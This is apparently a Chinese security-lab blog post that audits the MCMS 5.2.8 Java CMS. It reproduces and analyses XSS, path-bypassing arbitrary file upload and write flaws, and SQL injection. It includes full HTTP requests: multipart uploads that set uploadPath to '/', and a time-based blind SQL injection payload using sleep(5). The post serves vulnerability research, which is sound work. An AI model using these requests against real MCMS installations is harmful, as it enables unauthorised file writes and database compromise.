您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

MCMS 审计之路

合天网安实验室 发布时间:2022-10-08 17:32:26 ,浏览量:0

MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。

十天前 MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化,所以我们尝试 审计 MCMS 5.2.8

ec971390924b9ad721488ceb8447acca.png

环境搭建

我们下载好安装包后

  • 利用 idea 打开项目

  • 创建数据库 mcms,导入 doc/mcms-5.2.8.sql

  • 修改 src/main/resources/application-dev.yml 中关于数据库设置参数

  • 运行MSApplication.java main方法

  • 利用账户名:密码  msopen:msopen 登录后台  http://localhost:8080/ms/login.do

  • 进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章

启动的时候会有一点小 bug 需要在 idea 中配置

94496754f0aef3108248bcb0bd2331b0.png

运行成功后,页面如图所示

d32584d1702e6556dec7cc506bf33c10.png

前台反射型 XSS 漏洞复现

af8fdab2642643c0fa2bd511bd8ccbcc.png

e3533fc9b5110bcbc0908416dbcaa1d2.png

2f3fa90b7bae2a28a4ccbdc11de3d668.png

漏洞分析

我们看到运行后的控制台输出为

56897600a6e6f568bf18a6feababf3a7.png

我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper 并添加断点,再次触发漏洞,看到一个完整的调用栈,

net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)

bccc4ccdb9588a7e4e60f94ccce5267a.png

后台命令执行一 漏洞复现

后台有一个可以上传模板文件的位置

1a52b25927bc81bbd3f4d5d3b6a11fb9.png

我们上传文件并抓取数据包

abb83e31735830915dd41c9d32fe87d6.png

我们看到数据包中的参数 uploadPath 指定了上传的位置,最后返回了上传后的路径以及文件内容

9a226523082910e7d4efa232d527c84a.png

通过修改 参数 uploadPath 的值,我们就可以将文件上传 webapp 的任意目录下

我们写一个 1.txt 进行验证

POST /ms/file/uploadTemplate.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie: 
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"

/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"

true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"

false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html

test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--

bdd27c278225f3a1943eb203a3f3249a.png

16a587361f5eeb890465175ea5a71612.png

漏洞分析

通过路由 /ms/file/uploadTemplate 定位到代码位置

net.mingsoft.basic.action.ManageFileAction#uploadTemplate

d7800c77261159436c041106972441b3.png

我们看到虽然存在非法路径过滤函数,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过

net.mingsoft.basic.action.ManageFileAction#checkUploadPath

f8de07c75de2b4e639bb250ff96a7306.png

net.mingsoft.basic.action.BaseFileAction#uploadTemplate

ee7752c4341b7599cc572911e57f9bb3.png

后台命令执行二 漏洞复现

我们看到除了上传模板的接口,还存在编辑模板的接口

ad8e2fb156ba4734e91bf5f79452b56b.png

点击编辑,编辑后保存并抓取数据包

原本的数据包

fdcbb4fed74a0221d51ee5a5d828b87e.png

我们看到参数 fileName 通过绝对路径指定了文件名,所以我们可以通过修改 fileName 来实现绝对路径写入

5d85783cf852b00c92468a1cbbd080ad.png

7a3406048958e02b4ed496377934729b.png

漏洞分析

net.mingsoft.basic.action.TemplateAction#writeFileContent

067f9ac64eda0483be8ddf2128ccfbe5.png

我们看到对文件的后缀名进行了检验,但还是通过传入的参数  fileName 写入文件

后台命令执行三 漏洞复现

构造数据包

POST /ms/file/upload.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie: 
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"

/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"

true

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"

false

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="3.txt"
Content-Type: text/html

test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--

返回上传成功的文件的地址

544922f58f3b3fb539a49d684ec3b2fa.png

漏洞分析

这个漏洞是在第一个后台命令执行的基础上发现的,两个类位于同一个文件内

net.mingsoft.basic.action.ManageFileAction#upload

172ea61e9dceb72d8db61e3b4291c894.png

虽然存在非法路径过滤函数 checkUploadPath ,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过

对文件的上传是利用了

net.mingsoft.basic.action.BaseFileAction#upload

c43a1190c5ca54abe53578c3c838053e.png

存在很多过滤,但是还是可以成功上传文件

后台 SQL 注入漏洞 漏洞复现

构造数据包

GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1
Host: localhost:8080
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Cookie:
Pragma: no-cache
Referer: http://localhost:8080/ms/model/index.do?
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
token: null

e3c80f7c4a7c4ff41b9809f64ace76e2.png

发现成功使得服务器沉睡五秒

漏洞分析

net.mingsoft.mdiy.action.PageAction#verify

0c918a2b6e0edf9a623aaf7915a56f08.png

获取参数并传到方法 validated

net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)

369b6d8d69168b55dfe46cacbd8d788a.png

将  fieldNamefieldValue 的传入到 where 参数中

net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)

f5e28f442b835646d964c594dc9f6709.png

net.mingsoft.base.dao.IBaseDao#queryBySQL

ad76ad907002ae8ea955e43d4b7139e4.png

因为是 mybits 所以未采用预编译的 ${  就容易产生注入

be2e0d926dfacfc58d745dd063258503.png

后台 SQL 注入二 漏洞复现

登录后台后我们找到自定义模型的位置

b28e7ce29db130203e61b62c1aec500e.png

根据代码生成器 生成一个自定义模型 json 并导入保存

点击删除时 抓取数据包

398fefc825e6e20f68ee6b60868f4836.png

修改modelTableName

398d40e942d27c3176f38c27b94bc873.png

发现成功使得服务器沉睡五秒

漏洞分析

net.mingsoft.mdiy.action.ModelAction#delete

9e586da9c6dbfce96b4febcdb0a9f51b.png

net.mingsoft.base.biz.impl.BaseBizImpl#dropTable

a2677982b973489773022d3f4d083372.png

net.mingsoft.base.dao.IBaseDao

a4c5590bd4ee8a9d862fb3f2f7470814.png

68a34f9f9f7a4f61588ac9f7fd162fbf.png

查看dropTable对应的mapper内容如下,直接将table内容进行拼接且未预编译,造成SQL注入。

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

a969cccb0d6313ad7194733daa2a7f3e.gif

靶场实操,戳“阅读原文“

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0539s